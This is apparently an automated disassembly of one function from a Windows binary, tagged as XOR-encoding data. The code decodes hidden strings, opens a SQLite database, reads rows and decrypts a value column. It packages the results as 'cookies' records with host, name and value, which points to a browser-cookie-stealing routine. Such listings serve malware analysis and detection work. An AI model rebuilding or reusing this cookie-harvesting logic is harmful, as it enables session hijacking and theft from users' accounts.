Function at 0x140006e3c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x330
movaps xmmword [rax - 0x48], xmm6
mov rax, qword [0x140079040]
xor rax, rsp
mov qword [rbp + 0x218], rax
mov r15, r9
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x30], r8
movdqa xmm0, xmmword [0x1400721b0]
movdqa xmm1, xmmword [0x1400721d0]
movdqa xmm2, xmmword [0x140072200]
mov dword [rbp + 0xc0], 0xa02e8c46
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x13c
mov eax, dword [rcx + rdi]
mov ebx, 0x178
add rbx, rdi
test al, 1
jne 0x140006f21
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x35], 1
lea rax, [rbx + 0x34]
lea rcx, [rbp + 0xc4]
cmp rbx, rcx
ja 0x140006efc
lea rcx, [rbp + 0x90]
cmp rax, rcx
jb 0x140006efc
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
mov eax, dword [rbp + 0xc0]
mov dword [rbx + 0x30], eax
mov byte [rbx + 0x34], 0x6d
jmp 0x140006f14
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
mov eax, dword [rbp + 0xc0]
mov dword [rbx + 0x30], eax
mov byte [rbx + 0x34], 0x6d
lea rcx, [0x140043eb8]
call fcn.140020fc8
nop
xor r12d, r12d
cmp byte [rbx + 0x35], r12b
je 0x140006f54
mov r8d, r12d
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x17d14d6d9b5de92f
shr rdx, cl
xor byte [rbx + r8], dl
inc r8
cmp r8, 0x35
jb 0x140006f2d
mov byte [rbx + 0x35], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
or r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r12b
jne 0x140006f6d
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.14000bbe8
nop
movdqa xmm0, xmmword [0x140072260]
mov ecx, 0x244
mov eax, dword [rcx + rdi]
mov ebx, 0x230
test al, 1
jne 0x140006fe0
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x10], 1
lea rcx, [rax + 0xf]
lea rdx, [rbp + 0xd7]
cmp rax, rdx
ja 0x140006fcf
lea rdx, [rbp + 0xc8]
cmp rcx, rdx
jb 0x140006fcf
movdqu xmmword [rax], xmm0
jmp 0x140006fd3
movdqu xmmword [rax], xmm0
lea rcx, [0x140043ea0]
call fcn.140020fc8
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0x10], r12b
je 0x14000701f
mov r8, r12
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0xaf2bbdcfdd8b63c7
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0x10
jb 0x140006ff8
mov byte [r9 + 0x10], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
or r8, 0xffffffffffffffff
inc r8
cmp byte [r9 + r8], r12b
jne 0x140007034
mov rdx, r9
lea rcx, [rsp + 0x68]
call fcn.14000bbe8
nop
mov r8, qword [rsi + 0x10]
add r8, 0x104
lea rax, [0x14006d1f8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], 8
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1b8]
call fcn.14000b88c
nop
mov edi, 0x1000
mov rdx, qword [rbp - 0x80]
mov esi, 0xf
cmp rdx, rsi
jbe 0x1400070d3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, rdi
jb 0x1400070ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078ee
call fcn.140020dd0
movdqa xmm6, xmmword [0x140072150]
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], r12b
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x1f8]
call fcn.14000b430
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400040e8
mov bl, al
lea rcx, [rbp + 0x1f8]
call fcn.140009704
test bl, bl
je 0x140007834
mov qword [rbp + 0x138], r12
lea rcx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], rsi
cmova rcx, qword [rbp + 0x1b8]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [rbp + 0x138]
call qword [sym.imp.winsqlite3.dll_sqlite3_open_v2]
test eax, eax
jne 0x14000782c
mov qword [rbp + 0x130], r12
lea rdx, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], rsi
cmova rdx, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x130]
mov r8d, dword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.winsqlite3.dll_sqlite3_prepare_v2]
test eax, eax
jne 0x14000782c
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x140007812
lea ebx, [rax - 0x62]
xor edx, edx
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_blob]
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r12
mov qword [rbp + 0x1b0], r12
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400071de
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.14000bbe8
nop
mov edx, 1
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_blob]
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x190], r12
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x140007225
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.14000bbe8
nop
mov edx, ebx
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_blob]
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x140007269
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.14000bbe8
nop
mov r8, qword [rbp + 0x168]
cmp r8, rsi
jb 0x140007746
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rdx, [rbp + 0x158]
cmp qword [rbp + 0x170], rsi
cmova rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x30]
call fcn.14000bd6c
movups xmm0, xmmword [r15]
movdqu xmmword [rbp + 0x140], xmm0
lea r9, [rbp + 0x30]
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x1f8]
call fcn.1400053c8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
mov r8d, 7
lea rdx, str.cookies
lea rcx, [rbp + 0x50]
call fcn.14000bbe8
lea rdx, [rbp + 0x50]
mov rcx, r14
call fcn.14000d964
mov rdi, rax
lea rdx, str.host
lea rcx, [rbp - 0x48]
call fcn.14000b944
nop
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x30], r12b
xor eax, eax
mov qword [rbp - 0x28], rax
mov dl, r12b
lea rcx, [rbp - 0x28]
call fcn.140009d64
mov byte [rbp - 0x30], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov ecx, 0x20
call fcn.140020dd8
mov rbx, rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rdx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], rsi
cmova rdx, qword [rbp + 0x198]
mov r8, qword [rbp + 0x1a8]
mov rcx, rbx
call fcn.14000bd6c
mov qword [rbp + 0x148], r12
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], r12
lea rax, [rbp - 0x48]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x18]
mov qword [rbp - 8], rax
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xe0]
call fcn.140009348
mov qword [rbp + 0xf0], r12
lea rdx, str.name
lea rcx, [rbp - 0x78]
call fcn.14000b944
nop
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x60], r12b
xor eax, eax
mov qword [rbp - 0x58], rax
mov dl, r12b
lea rcx, [rbp - 0x58]
call fcn.140009d64
mov byte [rbp - 0x60], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov ecx, 0x20
call fcn.140020dd8
mov rbx, rax
lea rax, [rbp + 0x151]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rdx, [rbp + 0x178]
cmp qword [rbp + 0x190], rsi
cmova rdx, qword [rbp + 0x178]
mov r8, qword [rbp + 0x188]
mov rcx, rbx
call fcn.14000bd6c
mov qword [rbp + 0x148], r12
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], r12
lea rax, [rbp - 0x78]
mov qword [rbp], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xf8]
call fcn.140009348
mov qword [rbp + 0x108], r12
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x38], r12b
xor eax, eax
mov qword [rsp + 0x40], rax
mov dl, r12b
lea rcx, [rsp + 0x40]
call fcn.140009d64
mov byte [rsp + 0x38], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov ecx, 0x20
call fcn.140020dd8
mov rbx, rax
lea rax, [rbp + 0x152]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov r8d, 5
lea rdx, str.value
mov rcx, rbx
call fcn.14000bbe8
mov qword [rbp + 0x148], r12
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r12
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x70]
call fcn.1400041d0
mov rbx, rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x50], r12b
xor eax, eax
mov qword [rsp + 0x58], rax
mov dl, r12b
lea rcx, [rsp + 0x58]
call fcn.140009d64
mov byte [rsp + 0x50], 3
mov ecx, 0x20
call fcn.140020dd8
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], rsi
mov byte [rbx], r12b
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r12
lea rax, [rsp + 0x38]
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x68]
mov qword [rbp + 0x18], rax
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x110]
call fcn.140009348
mov qword [rbp + 0x120], r12
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x128]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
mov rcx, rdi
call fcn.140008098
nop
lea r9, [fcn.1400079c0]
mov edi, 0x18
lea r8d, [rdi - 0x15]
mov edx, edi
lea rcx, [rbp + 0xe0]
call fcn.140020e14
nop
lea r9, [fcn.1400079c0]
lea ebx, [rdi - 0x16]
mov r8d, ebx
mov edx, edi
lea rcx, [rsp + 0x38]
call fcn.140020e14
nop
mov rdx, qword [rbp + 0x88]
mov edi, 0x1000
cmp rdx, rsi
jbe 0x1400076c5
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1400076c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078fa
call fcn.140020dd0
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], rsi
mov byte [rbp + 0x70], r12b
lea r9, [fcn.1400079c0]
mov r8, rbx
mov edx, 0x18
lea rcx, [rbp - 0x78]
call fcn.140020e14
nop
lea r9, [fcn.1400079c0]
mov r8, rbx
mov edx, 0x18
lea rcx, [rbp - 0x48]
call fcn.140020e14
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, rsi
jbe 0x140007746
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, rdi
jb 0x140007740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007900
call fcn.140020dd0
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, rsi
jbe 0x140007783
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, rdi
jb 0x14000777d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007906
call fcn.140020dd0
nop
mov rdx, qword [rbp + 0x190]
cmp rdx, rsi
jbe 0x1400077c0
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, rdi
jb 0x1400077ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000790c
call fcn.140020dd0
nop
mov rdx, qword [rbp + 0x1b0]
cmp rdx, rsi
jbe 0x1400077fc
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, rdi
jb 0x1400077f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007912
call fcn.140020dd0
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
je 0x1400071b3
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.winsqlite3.dll_sqlite3_finalize]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.winsqlite3.dll_sqlite3_close]
movdqa xmm6, xmmword [0x140072150]
mov rdx, qword [rbp + 0x1d0]
cmp rdx, rsi
jbe 0x140007878
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, rdi
jb 0x14000786b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078f4
call fcn.140020dd0
movdqa xmm6, xmmword [0x140072150]
movdqu xmmword [rbp + 0x1c8], xmm6
mov byte [rbp + 0x1b8], r12b
mov rdx, qword [rbp + 0x1f0]
cmp rdx, rsi
jbe 0x1400078bf
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, rdi
jb 0x1400078ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078e8
call fcn.140020dd0
mov rcx, qword [rbp + 0x218]
xor rcx, rsp
call fcn.140020db0
movaps xmm6, xmmword [rsp + 0x320]
add rsp, 0x330
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
nop
call fcn.14002e0c8
int3